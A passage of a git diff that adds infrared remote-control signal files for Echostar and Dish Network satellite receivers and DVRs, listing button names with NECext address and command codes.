b/assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir new file mode 100644 index 000000000..d3f932623 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PAGE_-- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: DVR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir new file mode 100644 index 000000000..f2f0da2c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir new file mode 100644 index 000000000..b1639f763 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CUR_/_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CANCEL_-_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE_* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir new file mode 100644 index 000000000..dcc705c67 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: RECORDED_EVENTS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir new file mode 100644 index 000000000..9c2ab0fe8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CUR_/_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CANCEL_-_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: GUIDE_* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: SD/HD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: DISCRETE_POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir new file mode 100644 index 000000000..df18d7254 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 04 00 00 00 +# +name: 2_-_ABC +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 05 00 00 00 +# +name: 3_-_DEF +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 06 00 00 00 +# +name: 4_-_GHI +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 08 00 00 00 +# +name: 5_-_JKL +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 09 00 00 00 +# +name: 6_-_MNO +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0B 00 00 00 +# +name: 7_-_PQRS +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0C 00 00 00 +# +name: 8_-_TUV +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0D 00 00 00 +# +name: 9_-_WXYZ +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT(BROWSE) +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT_(THEME) +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1F 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 21 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 25 00 00 00 +# +name: #_-_SEARCH +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir new file mode 100644 index 000000000..de04f6ee3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_-- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: DVR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: RECORDED_EVENTS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: PIP_LOCATION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir new file mode 100644 index 000000000..453638489 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 03 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 07 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 0F 00 00 00 +# +name: BACK_<< +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 31 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 34 00 00 00 +# +name: ARROW_REVERSE +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 36 00 00 00 +# +name: ARROW_FORWARD +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir new file mode 100644 index 000000000..59b2e0138 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir new file mode 100644 index 000000000..43d423969 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SLCT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CNCL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: SD/HD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: >_(BROWSE) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: <_(THEME) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: SYS_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir new file mode 100644 index 000000000..aa8ec86b8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: SCROLL_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_-- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: SCROLL_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: DVR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir new file mode 100644 index 000000000..0d025a349 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir new file mode 100644 index 000000000..342bcb057 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir new file mode 100644 index 000000000..e921f2fd8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 